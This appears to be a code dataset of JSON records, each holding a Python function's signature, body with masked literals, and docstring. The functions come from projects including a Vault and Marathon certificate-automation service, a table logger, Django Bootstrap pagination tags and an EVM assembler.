{"signature": "def read(self, path, **params):", "body": "d = self.request('<STR_LIT:GET>', '<STR_LIT>' + path, params=params)<EOL>return d.addCallback(self._handle_response)<EOL>", "docstring": "Read data from Vault. Returns the JSON-decoded response.", "id": "f13708:c2:m5"}
{"signature": "def write(self, path, **data):", "body": "d = self.request('<STR_LIT>', '<STR_LIT>' + path, json=data)<EOL>return d.addCallback(self._handle_response, check_cas=True)<EOL>", "docstring": "Write data to Vault. Returns the JSON-decoded response.", "id": "f13708:c2:m6"}
{"signature": "def read_kv2(self, path, version=None, mount_path='<STR_LIT>'):", "body": "params = {}<EOL>if version is not None:<EOL><INDENT>params['<STR_LIT:version>'] = version<EOL><DEDENT>read_path = '<STR_LIT>'.format(mount_path, path)<EOL>return self.read(read_path, **params)<EOL>", "docstring": "Read some data from a key/value version 2 secret engine.", "id": "f13708:c2:m7"}
{"signature": "def create_or_update_kv2(self, path, data, cas=None, mount_path='<STR_LIT>'):", "body": "params = {<EOL>'<STR_LIT>': {},<EOL>'<STR_LIT:data>': data<EOL>}<EOL>if cas is not None:<EOL><INDENT>params['<STR_LIT>']['<STR_LIT>'] = cas<EOL><DEDENT>write_path = '<STR_LIT>'.format(mount_path, path)<EOL>return self.write(write_path, **params)<EOL>", "docstring": "Create or update some data in a key/value version 2 secret engine.\n\n:raises CasError:\n    Raises an error if the ``cas`` value, when provided, doesn't match\n    Vault's version for the key.", "id": "f13708:c2:m8"}
{"signature": "def raise_for_not_ok_status(response):", "body": "if response.code != OK:<EOL><INDENT>raise HTTPError('<STR_LIT>' % (<EOL>response.code, uridecode(response.request.absoluteURI)))<EOL><DEDENT>return response<EOL>", "docstring": "Raises a `requests.exceptions.HTTPError` if the response has a non-200\nstatus code.", "id": "f13710:m0"}
{"signature": "def _sse_content_with_protocol(response, handler, **sse_kwargs):", "body": "protocol = SseProtocol(handler, **sse_kwargs)<EOL>finished = protocol.when_finished()<EOL>response.deliverBody(protocol)<EOL>return finished, protocol<EOL>", "docstring": "Sometimes we need the protocol object so that we can manipulate the\nunderlying transport in tests.", "id": "f13710:m1"}
{"signature": "def sse_content(response, handler, **sse_kwargs):", "body": "<EOL>raise_for_not_ok_status(response)<EOL>raise_for_header(response, '<STR_LIT:Content-Type>', '<STR_LIT>')<EOL>finished, _ = _sse_content_with_protocol(response, handler, **sse_kwargs)<EOL>return finished<EOL>", "docstring": "Callback to collect the Server-Sent Events content of a response. Callbacks\npassed will receive event data.\n\n:param response:\n    The response from the SSE request.\n:param handler:\n    The handler for the SSE protocol.", "id": "f13710:m2"}
{"signature": "def __init__(self, endpoints, sse_kwargs=None, **kwargs):", "body": "super(MarathonClient, self).__init__(**kwargs)<EOL>self.endpoints = endpoints<EOL>self._sse_kwargs = {} if sse_kwargs is None else sse_kwargs<EOL>", "docstring": ":param endpoints:\n    A priority-ordered list of Marathon endpoints. Each endpoint will\n    be tried one-by-one until the request succeeds or all endpoints\n    fail.", "id": "f13710:c0:m0"}
{"signature": "def _request(self, failure, endpoints, *args, **kwargs):", "body": "<EOL>if not endpoints:<EOL><INDENT>return failure<EOL><DEDENT>endpoint = endpoints.pop(<NUM_LIT:0>)<EOL>d = super(MarathonClient, self).request(*args, url=endpoint, **kwargs)<EOL>d.addErrback(self._request, endpoints, *args, **kwargs)<EOL>return d<EOL>", "docstring": "Recursively make requests to each endpoint in ``endpoints``.", "id": "f13710:c0:m2"}
{"signature": "def get_json_field(self, field, **kwargs):", "body": "d = self.request(<EOL>'<STR_LIT:GET>', headers={'<STR_LIT>': '<STR_LIT:application/json>'}, **kwargs)<EOL>d.addCallback(raise_for_status)<EOL>d.addCallback(raise_for_header, '<STR_LIT:Content-Type>', '<STR_LIT:application/json>')<EOL>d.addCallback(json_content)<EOL>d.addCallback(self._get_json_field, field)<EOL>return d<EOL>", "docstring": "Perform a GET request and get the contents of the JSON response.\n\nMarathon's JSON responses tend to contain an object with a single key\nwhich points to the actual data of the response. For example /v2/apps\nreturns something like {\"apps\": [ {\"app1\"}, {\"app2\"} ]}. We're\ninterested in the contents of \"apps\".\n\nThis method will raise an error if:\n* There is an error response code\n* The field with the given name cannot be found", "id": "f13710:c0:m4"}
{"signature": "def _get_json_field(self, response_json, field_name):", "body": "if field_name not in response_json:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>field_name, json.dumps(response_json),))<EOL><DEDENT>return response_json[field_name]<EOL>", "docstring": "Get a JSON field from the response JSON.\n\n:param: response_json:\n    The parsed JSON content of the response.\n:param: field_name:\n    The name of the field in the JSON to get.", "id": "f13710:c0:m5"}
{"signature": "def get_apps(self):", "body": "return self.get_json_field('<STR_LIT>', path='<STR_LIT>')<EOL>", "docstring": "Get the currently running Marathon apps, returning a list of app\ndefinitions.", "id": "f13710:c0:m6"}
{"signature": "def get_events(self, callbacks):", "body": "d = self.request(<EOL>'<STR_LIT:GET>', path='<STR_LIT>', unbuffered=True,<EOL>params={'<STR_LIT>': sorted(callbacks.keys())},<EOL>headers={<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>})<EOL>def handler(event, data):<EOL><INDENT>callback = callbacks.get(event)<EOL>if callback is not None:<EOL><INDENT>callback(json.loads(data))<EOL><DEDENT><DEDENT>return d.addCallback(<EOL>sse_content, handler, reactor=self._reactor, **self._sse_kwargs)<EOL>", "docstring": "Attach to Marathon's event stream using Server-Sent Events (SSE).\n\n:param callbacks:\n    A dict mapping event types to functions that handle the event data", "id": "f13710:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def from_pem_files(cls, caKey=None, privateKey=None, certKey=None,<EOL>tls_server_name=None):<DEDENT>", "body": "trust_root, client_certificate = None, None<EOL>if caKey:<EOL><INDENT>trust_root = ssl.Certificate.loadPEM(FilePath(caKey).getContent())<EOL><DEDENT>if privateKey and certKey:<EOL><INDENT>certPEM = FilePath(certKey).getContent()<EOL>keyPEM = FilePath(privateKey).getContent()<EOL>client_certificate = (<EOL>ssl.PrivateCertificate.loadPEM(certPEM + b'<STR_LIT:\\n>' + keyPEM))<EOL><DEDENT>return cls(trustRoot=trust_root, clientCertificate=client_certificate,<EOL>tls_server_name=tls_server_name)<EOL>", "docstring": "Load certificates from PEM files to create a ClientPolicyForHTTPS\ninstance.\n\n:param caKey:\n    Path to the CA certificate file. If not provided, the system trust\n    chain will be used.\n:param privateKey:\n    Path to the client private key file. If either this or certKey are\n    not provided, a client-side certificate will not be used.\n:param certKey:\n    Path to the client certificate file. If either this or privateKey\n    are not provided, a client-side certificate will not be used.", "id": "f13711:c0:m1"}
{"signature": "def sort_pem_objects(pem_objects):", "body": "keys, certs, ca_certs = [], [], []<EOL>for pem_object in pem_objects:<EOL><INDENT>if isinstance(pem_object, pem.Key):<EOL><INDENT>keys.append(pem_object)<EOL><DEDENT>else:<EOL><INDENT>if _is_ca(pem_object):<EOL><INDENT>ca_certs.append(pem_object)<EOL><DEDENT>else:<EOL><INDENT>certs.append(pem_object)<EOL><DEDENT><DEDENT><DEDENT>[key], [cert] = keys, certs<EOL>return key, cert, ca_certs<EOL>", "docstring": "Given a list of pem objects, sort the objects into the private key, leaf\ncertificate, and list of CA certificates in the trust chain. This function\nassumes that the list of pem objects will contain exactly one private key\nand exactly one leaf certificate and that only key and certificate type\nobjects are provided.", "id": "f13712:m0"}
{"signature": "def _cert_data_to_pem_objects(cert_data):", "body": "pem_objects = []<EOL>for key in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>pem_objects.extend(pem.parse(cert_data[key].encode('<STR_LIT:utf-8>')))<EOL><DEDENT>return pem_objects<EOL>", "docstring": "Given a non-None response from the Vault key/value store, convert the\nkey/values into a list of PEM objects.", "id": "f13712:m3"}
{"signature": "def store(self, server_name, pem_objects):", "body": "<EOL>key, cert, ca_certs = sort_pem_objects(pem_objects)<EOL>data = _cert_data_from_pem_objects(key, cert, ca_certs)<EOL>self.log.debug(\"<STR_LIT>\",<EOL>server_name=server_name)<EOL>d = self._client.create_or_update_kv2(<EOL>'<STR_LIT>' + server_name, data, mount_path=self._mount_path)<EOL>def live_value(cert_response):<EOL><INDENT>cert_version = cert_response['<STR_LIT:data>']['<STR_LIT:version>']<EOL>return _live_value(cert, cert_version)<EOL><DEDENT>d.addCallback(live_value)<EOL>return d.addCallback(self._update_live, server_name)<EOL>", "docstring": "The procedure for storing certificates is as follows:\n\n1.  The new certificate is stored without a CAS parameter. This assumes\n    that the certificate we are storing is always up-to-date.\n    1.1 From Vault's response, take the new certificate version:\n        ``v_cert_new``.\n2. The live map is read.\n    2.1 The version of the live map is kept: ``v_live``\n    2.2 Check if the certificate version in the live map is\n        ``>= v_cert_new``.\n        2.2.1 If so, assume somebody else updated the live map. Finish.\n        2.2.2 If not, continue.\n3. Update the live map and write it with ``cas=v_live``.\n    3.1 If the CAS fails, go back to step 2.", "id": "f13712:c0:m2"}
{"signature": "def maybe_key(pem_path):", "body": "acme_key_file = pem_path.child(u'<STR_LIT>')<EOL>if acme_key_file.exists():<EOL><INDENT>key = _load_pem_private_key_bytes(acme_key_file.getContent())<EOL><DEDENT>else:<EOL><INDENT>key = generate_private_key(u'<STR_LIT>')<EOL>acme_key_file.setContent(_dump_pem_private_key_bytes(key))<EOL><DEDENT>return succeed(JWKRSA(key=key))<EOL>", "docstring": "Set up a client key if one does not exist already.\n\nhttps://gist.github.com/glyph/27867a478bb71d8b6046fbfb176e1a33#file-local-certs-py-L32-L50\n\n:type pem_path: twisted.python.filepath.FilePath\n:param pem_path:\n    The path to the certificate directory to use.\n:rtype: twisted.internet.defer.Deferred", "id": "f13714:m2"}
{"signature": "def maybe_key_vault(client, mount_path):", "body": "d = client.read_kv2('<STR_LIT>', mount_path=mount_path)<EOL>def get_or_create_key(client_key):<EOL><INDENT>if client_key is not None:<EOL><INDENT>key_data = client_key['<STR_LIT:data>']['<STR_LIT:data>']<EOL>key = _load_pem_private_key_bytes(key_data['<STR_LIT:key>'].encode('<STR_LIT:utf-8>'))<EOL>return JWKRSA(key=key)<EOL><DEDENT>else:<EOL><INDENT>key = generate_private_key(u'<STR_LIT>')<EOL>key_data = {<EOL>'<STR_LIT:key>': _dump_pem_private_key_bytes(key).decode('<STR_LIT:utf-8>')<EOL>}<EOL>d = client.create_or_update_kv2(<EOL>'<STR_LIT>', key_data, mount_path=mount_path)<EOL>return d.addCallback(lambda _result: JWKRSA(key=key))<EOL><DEDENT><DEDENT>return d.addCallback(get_or_create_key)<EOL>", "docstring": "Set up a client key in Vault if one does not exist already.\n\n:param client:\n    The Vault API client to use.\n:param mount_path:\n    The Vault key/value mount path to use.\n:rtype: twisted.internet.defer.Deferred", "id": "f13714:m3"}
{"signature": "def create_txacme_client_creator(key, reactor, url, alg=RS256):", "body": "<EOL>jws_client = JWSClient(HTTPClient(agent=Agent(reactor)), key, alg)<EOL>return partial(txacme_Client.from_url, reactor, url, key, alg, jws_client)<EOL>", "docstring": "Create a creator for txacme clients to provide to the txacme service. See\n``txacme.client.Client.from_url()``. We create the underlying JWSClient\nwith a non-persistent pool to avoid\nhttps://github.com/mithrandi/txacme/issues/86.\n\n:return: a callable that returns a deffered that returns the client", "id": "f13714:m4"}
{"signature": "def generate_wildcard_pem_bytes():", "body": "key = generate_private_key(u'<STR_LIT>')<EOL>name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u'<STR_LIT:*>')])<EOL>cert = (<EOL>x509.CertificateBuilder()<EOL>.issuer_name(name)<EOL>.subject_name(name)<EOL>.not_valid_before(datetime.today() - timedelta(days=<NUM_LIT:1>))<EOL>.not_valid_after(datetime.now() + timedelta(days=<NUM_LIT>))<EOL>.serial_number(int(uuid.uuid4()))<EOL>.public_key(key.public_key())<EOL>.sign(<EOL>private_key=key,<EOL>algorithm=hashes.SHA256(),<EOL>backend=default_backend())<EOL>)<EOL>return b'<STR_LIT>'.join((<EOL>key.private_bytes(<EOL>encoding=serialization.Encoding.PEM,<EOL>format=serialization.PrivateFormat.TraditionalOpenSSL,<EOL>encryption_algorithm=serialization.NoEncryption()),<EOL>cert.public_bytes(serialization.Encoding.PEM)<EOL>))<EOL>", "docstring": "Generate a wildcard (subject name '*') self-signed certificate valid for\n10 years.\n\nhttps://cryptography.io/en/latest/x509/tutorial/#creating-a-self-signed-certificate\n\n:return: Bytes representation of the PEM certificate data", "id": "f13714:m5"}
{"signature": "def parse_domain_label(domain_label):", "body": "return domain_label.replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').split()<EOL>", "docstring": "Parse the list of comma-separated domains from the app label.", "id": "f13715:m0"}
{"signature": "def __init__(self, marathon_client, group, cert_store, mlb_client,<EOL>txacme_client_creator, reactor, email=None,<EOL>allow_multiple_certs=False):", "body": "self.marathon_client = marathon_client<EOL>self.group = group<EOL>self.reactor = reactor<EOL>responder = HTTP01Responder()<EOL>self.server = MarathonAcmeServer(responder.resource)<EOL>mlb_cert_store = MlbCertificateStore(cert_store, mlb_client)<EOL>self.txacme_service = AcmeIssuingService(<EOL>mlb_cert_store, txacme_client_creator, reactor, [responder], email)<EOL>self._allow_multiple_certs = allow_multiple_certs<EOL>self._server_listening = None<EOL>", "docstring": "Create the marathon-acme service.\n\n:param marathon_client: The Marathon API client.\n:param group: The name of the marathon-lb group.\n:param cert_store: The ``ICertificateStore`` instance to use.\n:param mlb_clinet: The marathon-lb API client.\n:param txacme_client_creator: Callable to create the txacme client.\n:param reactor: The reactor to use.\n:param email: The ACME registration email.\n:param allow_multiple_certs:\n    Whether to allow multiple certificates per app port.", "id": "f13715:c0:m0"}
{"signature": "def listen_events(self, reconnects=<NUM_LIT:0>):", "body": "self.log.info('<STR_LIT>')<EOL>self._attached = False<EOL>def on_finished(result, reconnects):<EOL><INDENT>self.log.warn('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>reconnects=reconnects)<EOL>reconnects += <NUM_LIT:1><EOL>return self.listen_events(reconnects)<EOL><DEDENT>def log_failure(failure):<EOL><INDENT>self.log.failure('<STR_LIT>', failure)<EOL>return failure<EOL><DEDENT>return self.marathon_client.get_events({<EOL>'<STR_LIT>': self._sync_on_event_stream_attached,<EOL>'<STR_LIT>': self._sync_on_api_post_event<EOL>}).addCallbacks(on_finished, log_failure, callbackArgs=[reconnects])<EOL>", "docstring": "Start listening for events from Marathon, running a sync when we first\nsuccessfully subscribe and triggering a sync on API request events.", "id": "f13715:c0:m3"}
{"signature": "def sync(self):", "body": "self.log.info('<STR_LIT>')<EOL>def log_success(result):<EOL><INDENT>self.log.info('<STR_LIT>')<EOL>return result<EOL><DEDENT>def log_failure(failure):<EOL><INDENT>self.log.failure('<STR_LIT>', failure, LogLevel.error)<EOL>return failure<EOL><DEDENT>return (self.marathon_client.get_apps()<EOL>.addCallback(self._apps_acme_domains)<EOL>.addCallback(self._filter_new_domains)<EOL>.addCallback(self._issue_certs)<EOL>.addCallbacks(log_success, log_failure))<EOL>", "docstring": "Fetch the list of apps from Marathon, find the domains that require\ncertificates, and issue certificates for any domains that don't already\nhave a certificate.", "id": "f13715:c0:m6"}
{"signature": "def _issue_cert(self, domain):", "body": "def errback(failure):<EOL><INDENT>failure.trap(txacme_ServerError)<EOL>acme_error = failure.value.message<EOL>if acme_error.code in ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.log.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', code=acme_error.code, domain=domain,<EOL>detail=acme_error.detail)<EOL><DEDENT>else:<EOL><INDENT>return failure<EOL><DEDENT><DEDENT>d = self.txacme_service.issue_cert(domain)<EOL>return d.addErrback(errback)<EOL>", "docstring": "Issue a certificate for the given domain.", "id": "f13715:c0:m11"}
{"signature": "def print_file_info():", "body": "tpl = TableLogger(columns='<STR_LIT>')<EOL>for f in os.listdir('<STR_LIT:.>'):<EOL><INDENT>size = os.stat(f).st_size<EOL>date_created = datetime.fromtimestamp(os.path.getctime(f))<EOL>date_modified = datetime.fromtimestamp(os.path.getmtime(f))<EOL>tpl(f, date_created, date_modified, size)<EOL><DEDENT>", "docstring": "Prints file details in the current directory", "id": "f13717:m2"}
{"signature": "def __call__(self, value):", "body": "fmt = self.fmt(value)<EOL>if len(fmt) > self.col_width:<EOL><INDENT>fmt = fmt[:self.col_width - <NUM_LIT:3>] + '<STR_LIT>'<EOL><DEDENT>fmt = self.just(fmt, self.col_width)<EOL>return fmt<EOL>", "docstring": "Formats a given value\n\nArgs:\n    value: value to format\n\nReturns:\n    str: formatted value", "id": "f13718:c0:m1"}
{"signature": "def __call__(self, *args):", "body": "if len(self.formatters) == <NUM_LIT:0>:<EOL><INDENT>self.setup(*args)<EOL><DEDENT>row_cells = []<EOL>if self.rownum:<EOL><INDENT>row_cells.append(<NUM_LIT:0>)<EOL><DEDENT>if self.timestamp:<EOL><INDENT>row_cells.append(datetime.datetime.now())<EOL><DEDENT>if self.time_diff:<EOL><INDENT>row_cells.append(<NUM_LIT:0>)<EOL><DEDENT>row_cells.extend(args)<EOL>if len(row_cells) != len(self.formatters):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(<EOL>len(self.formatters), len(row_cells)))<EOL><DEDENT>line = self.format_row(*row_cells)<EOL>self.print_line(line)<EOL>", "docstring": "Prints a formatted row\n\n        Args:\n            args: row cells", "id": "f13719:c0:m1"}
{"signature": "def setup_formatters(self, *args):", "body": "formatters = []<EOL>col_offset = <NUM_LIT:0><EOL>if self.rownum:<EOL><INDENT>formatters.append(fmt.RowNumberFormatter.setup(<NUM_LIT:0>))<EOL>col_offset += <NUM_LIT:1><EOL><DEDENT>if self.timestamp:<EOL><INDENT>formatters.append(fmt.DatetimeFormatter.setup(<EOL>datetime.datetime.now(),<EOL>fmt='<STR_LIT>'.format,<EOL>col_width=<NUM_LIT>))<EOL>col_offset += <NUM_LIT:1><EOL><DEDENT>if self.time_diff:<EOL><INDENT>formatters.append(fmt.TimeDeltaFormatter.setup(<NUM_LIT:0>))<EOL>col_offset += <NUM_LIT:1><EOL><DEDENT>for coli, value in enumerate(args):<EOL><INDENT>fmt_class = type2fmt.get(type(value), fmt.GenericFormatter)<EOL>kwargs = {}<EOL>if self.default_colwidth is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = self.default_colwidth<EOL><DEDENT>if coli in self.column_widths:<EOL><INDENT>kwargs['<STR_LIT>'] = self.column_widths[coli]<EOL><DEDENT>elif self.columns and self.columns[coli + col_offset] in self.column_widths:<EOL><INDENT>kwargs['<STR_LIT>'] = self.column_widths[self.columns[coli + col_offset]]<EOL><DEDENT>if fmt_class == fmt.FloatFormatter and self.float_format is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = self.float_format<EOL><DEDENT>if coli in self.column_formatters:<EOL><INDENT>kwargs['<STR_LIT>'] = self.column_formatters[coli]<EOL><DEDENT>elif self.columns and self.columns[coli + col_offset] in self.column_formatters:<EOL><INDENT>kwargs['<STR_LIT>'] = self.column_formatters[self.columns[coli + col_offset]]<EOL><DEDENT>formatter = fmt_class.setup(value, **kwargs)<EOL>formatters.append(formatter)<EOL><DEDENT>self.formatters = formatters<EOL>", "docstring": "Setup formatters by observing the first row.\n\n        Args:\n            *args: row cells", "id": "f13719:c0:m4"}
{"signature": "def setup(self, *args):", "body": "self.setup_formatters(*args)<EOL>if self.columns:<EOL><INDENT>self.print_header()<EOL><DEDENT>elif self.border and not self.csv:<EOL><INDENT>self.print_line(self.make_horizontal_border())<EOL><DEDENT>", "docstring": "Do preparations before printing the first row\n\n        Args:\n            *args: first row cells", "id": "f13719:c0:m5"}
{"signature": "def csv_format(self, row):", "body": "if PY2:<EOL><INDENT>buf = io.BytesIO()<EOL>csvwriter = csv.writer(buf)<EOL>csvwriter.writerow([c.strip().encode(self.encoding) for c in row])<EOL>csv_line = buf.getvalue().decode(self.encoding).rstrip()<EOL><DEDENT>else:<EOL><INDENT>buf = io.StringIO()<EOL>csvwriter = csv.writer(buf)<EOL>csvwriter.writerow([c.strip() for c in row])<EOL>csv_line = buf.getvalue().rstrip()<EOL><DEDENT>return csv_line<EOL>", "docstring": "Converts row values into a csv line\n\n        Args:\n            row: a list of row cells as unicode\n        Returns:\n            csv_line (unicode)", "id": "f13719:c0:m10"}
{"signature": "def close(self):", "body": "if self.file is not None:<EOL><INDENT>self.file.close()<EOL><DEDENT>", "docstring": "Closes underlying output file", "id": "f13719:c0:m11"}
{"signature": "def strToBool(val):", "body": "if isinstance(val, str):<EOL><INDENT>val = val.lower()<EOL><DEDENT>return val in ['<STR_LIT:true>', '<STR_LIT>', '<STR_LIT:yes>', True]<EOL>", "docstring": "Helper function to turn a string representation of \"true\" into\nboolean True.", "id": "f13724:m1"}
{"signature": "def get_page_url(page_num, current_app, url_view_name, url_extra_args, url_extra_kwargs, url_param_name, url_get_params, url_anchor):", "body": "if url_view_name is not None:<EOL><INDENT>url_extra_kwargs[url_param_name] = page_num<EOL>try:<EOL><INDENT>url = reverse(url_view_name, args=url_extra_args, kwargs=url_extra_kwargs, current_app=current_app)<EOL><DEDENT>except NoReverseMatch as e:  <EOL><INDENT>if settings.SETTINGS_MODULE:<EOL><INDENT>if django.VERSION < (<NUM_LIT:1>, <NUM_LIT:9>, <NUM_LIT:0>):<EOL><INDENT>separator  = '<STR_LIT:.>'<EOL><DEDENT>else:<EOL><INDENT>separator  = '<STR_LIT::>' <EOL><DEDENT>project_name = settings.SETTINGS_MODULE.split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>url = reverse(project_name + separator + url_view_name, args=url_extra_args, kwargs=url_extra_kwargs, current_app=current_app)<EOL><DEDENT>except NoReverseMatch:<EOL><INDENT>raise e <EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise e <EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>url = '<STR_LIT>'<EOL>url_get_params = url_get_params or QueryDict(url)<EOL>url_get_params = url_get_params.copy()<EOL>url_get_params[url_param_name] = str(page_num)<EOL><DEDENT>if len(url_get_params) > <NUM_LIT:0>:<EOL><INDENT>if not isinstance(url_get_params, QueryDict):<EOL><INDENT>tmp = QueryDict(mutable=True)<EOL>tmp.update(url_get_params)<EOL>url_get_params = tmp<EOL><DEDENT>url += '<STR_LIT:?>' + url_get_params.urlencode()<EOL><DEDENT>if (url_anchor is not None):<EOL><INDENT>url += '<STR_LIT:#>' + url_anchor<EOL><DEDENT>return url<EOL>", "docstring": "Helper function to return a valid URL string given the template tag parameters", "id": "f13724:m2"}
{"signature": "@register.tag<EOL>def bootstrap_paginate(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) < <NUM_LIT:2>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>page = parser.compile_filter(bits[<NUM_LIT:1>])<EOL>kwargs = {}<EOL>bits = bits[<NUM_LIT:2>:]<EOL>kwarg_re = re.compile(r'<STR_LIT>')<EOL>if len(bits):<EOL><INDENT>for bit in bits:<EOL><INDENT>match = kwarg_re.match(bit)<EOL>if not match:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\")<EOL><DEDENT>name, value = match.groups()<EOL>kwargs[name] = parser.compile_filter(value)<EOL><DEDENT><DEDENT>return BootstrapPaginationNode(page, kwargs)<EOL>", "docstring": "Renders a Page object as a Twitter Bootstrap styled pagination bar.\nCompatible with Bootstrap 3.x and 4.x only.\n\nExample::\n\n    {% bootstrap_paginate page_obj range=10 %}\n\n\nNamed Parameters::\n\n    range - The size of the pagination bar (ie, if set to 10 then, at most,\n            10 page numbers will display at any given time) Defaults to\n            None, which shows all pages.\n\n\n    size - Accepts \"small\", and \"large\". Defaults to\n                None which is the standard size.\n\n    show_prev_next - Accepts \"true\" or \"false\". Determines whether or not\n                    to show the previous and next page links. Defaults to\n                    \"true\"\n\n\n    show_first_last - Accepts \"true\" or \"false\". Determines whether or not\n                      to show the first and last page links. Defaults to\n                      \"false\"\n\n    previous_label - The text to display for the previous page link.\n                     Defaults to \"&larr;\"\n\n    next_label - The text to display for the next page link. Defaults to\n                 \"&rarr;\"\n\n    first_label - The text to display for the first page link. Defaults to\n                  \"&laquo;\"\n\n    last_label - The text to display for the last page link. Defaults to\n                 \"&raquo;\"\n\n    url_view_name - The named URL to use. Defaults to None. If None, then the\n                    default template simply appends the url parameter as a\n                    relative URL link, eg: <a href=\"?page=1\">1</a>\n\n    url_param_name - The name of the parameter to use in the URL. If\n                     url_view_name is set to None, this string is used as the\n                     parameter name in the relative URL path. If a URL\n                     name is specified, this string is used as the\n                     parameter name passed into the reverse() method for\n                     the URL.\n\n    url_extra_args - This is used only in conjunction with url_view_name.\n                     When referencing a URL, additional arguments may be\n                     passed in as a list.\n\n    url_extra_kwargs - This is used only in conjunction with url_view_name.\n                       When referencing a URL, additional named arguments\n                       may be passed in as a dictionary.\n\n    url_get_params - The other get parameters to pass, only the page\n                     number will be overwritten. Use this to preserve\n                     filters.\n\n    url_anchor - The anchor to use in URLs. Defaults to None.\n\n    extra_pagination_classes - A space separated list of CSS class names\n                               that will be added to the top level <ul>\n                               HTML element. In particular, this can be\n                               utilized in Bootstrap 4 installatinos  to\n                               add the appropriate alignment classes from\n                               Flexbox utilites, eg:  justify-content-center", "id": "f13724:m3"}
{"signature": "@register.tag<EOL>def bootstrap_pager(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) < <NUM_LIT:2>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>page = parser.compile_filter(bits[<NUM_LIT:1>])<EOL>kwargs = {}<EOL>bits = bits[<NUM_LIT:2>:]<EOL>kwarg_re = re.compile(r'<STR_LIT>')<EOL>if len(bits):<EOL><INDENT>for bit in bits:<EOL><INDENT>match = kwarg_re.match(bit)<EOL>if not match:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\")<EOL><DEDENT>name, value = match.groups()<EOL>kwargs[name] = parser.compile_filter(value)<EOL><DEDENT><DEDENT>return BootstrapPagerNode(page, kwargs)<EOL>", "docstring": "Renders a Page object as a Twitter Bootstrap styled pager bar.\nCompatible with Bootstrap 2.x and 3.x only.\n\nExample::\n\n    {% bootstrap_pager page_obj %}\n\n\nNamed Parameters::\n\n\n    previous_label - The label to show for the Previous link (defaults to \"Previous Page\")\n\n    next_label - The label to show for the Next link (defualts to \"Next Page\")\n\n    previous_title - The link title for the previous link (defaults to \"Previous Page\")\n\n    next_title - The link title for the next link (defaults to \"Next Page\")\n\n    url_view_name - The named URL to use. Defaults to None. If None, then the\n                    default template simply appends the url parameter as a\n                    relative URL link, eg: <a href=\"?page=1\">1</a>\n\n    url_param_name - The name of the parameter to use in the URL. If\n                     url_view_name is set to None, this string is used as the\n                     parameter name in the relative URL path. If a URL\n                     name is specified, this string is used as the\n                     parameter name passed into the reverse() method for\n                     the URL.\n\n    url_extra_args - This is used only in conjunction with url_view_name.\n                    When referencing a URL, additional arguments may be\n                    passed in as a list.\n\n    url_extra_kwargs - This is used only in conjunction with url_view_name.\n                       When referencing a URL, additional named arguments\n                       may be passed in as a dictionary.\n\n    url_get_params - The other get parameters to pass, only the page\n                     number will be overwritten. Use this to preserve\n                     filters.\n\n    url_anchor - The anchor to use in URLs. Defaults to None.\n\n    extra_pager_classes - A space separated list of CSS class names\n                          that will be added to the top level <ul>\n                          HTML element. This could be  used to,\n                          as an example, add a class to prevent\n                          the pager from showing up when printing.", "id": "f13724:m4"}
{"signature": "def assemble_one(asmcode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "try:<EOL><INDENT>instruction_table = instruction_tables[fork]<EOL>asmcode = asmcode.strip().split('<STR_LIT:U+0020>')<EOL>instr = instruction_table[asmcode[<NUM_LIT:0>].upper()]<EOL>if pc:<EOL><INDENT>instr.pc = pc<EOL><DEDENT>if instr.operand_size > <NUM_LIT:0>:<EOL><INDENT>assert len(asmcode) == <NUM_LIT:2><EOL>instr.operand = int(asmcode[<NUM_LIT:1>], <NUM_LIT:0>)<EOL><DEDENT>return instr<EOL><DEDENT>except:<EOL><INDENT>raise AssembleError(\"<STR_LIT>\" % pc)<EOL><DEDENT>", "docstring": "Assemble one EVM instruction from its textual representation.\n\n        :param asmcode: assembly code for one instruction\n        :type asmcode: str\n        :param pc: program counter of the instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: An Instruction object\n        :rtype: Instruction\n\n        Example use::\n\n            >>> print assemble_one('LT')", "id": "f13733:m0"}
{"signature": "def assemble_all(asmcode, pc=<NUM_LIT:0>, fork=DEFAULT_FORK):", "body": "asmcode = asmcode.split('<STR_LIT:\\n>')<EOL>asmcode = iter(asmcode)<EOL>for line in asmcode:<EOL><INDENT>if not line.strip():<EOL><INDENT>continue<EOL><DEDENT>instr = assemble_one(line, pc=pc, fork=fork)<EOL>yield instr<EOL>pc += instr.size<EOL><DEDENT>", "docstring": "Assemble a sequence of textual representation of EVM instructions\n\n        :param asmcode: assembly code for any number of instructions\n        :type asmcode: str\n        :param pc: program counter of the first instruction(optional)\n        :type pc: int\n        :param fork: fork name (optional)\n        :type fork: str\n        :return: An generator of Instruction objects\n        :rtype: generator[Instructions]\n\n        Example use::\n\n            >>> assemble_one('''PUSH1 0x60\\n \\\n                            PUSH1 0x40\\n \\\n                            MSTORE\\n \\\n                            PUSH1 0x2\\n \\\n                            PUSH2 0x108\\n \\\n                            PUSH1 0x0\\n \\\n                            POP\\n \\\n                            SSTORE\\n \\\n                            PUSH1 0x40\\n \\\n                            MLOAD\\n \\\n                            ''')", "id": "f13733:m1"}
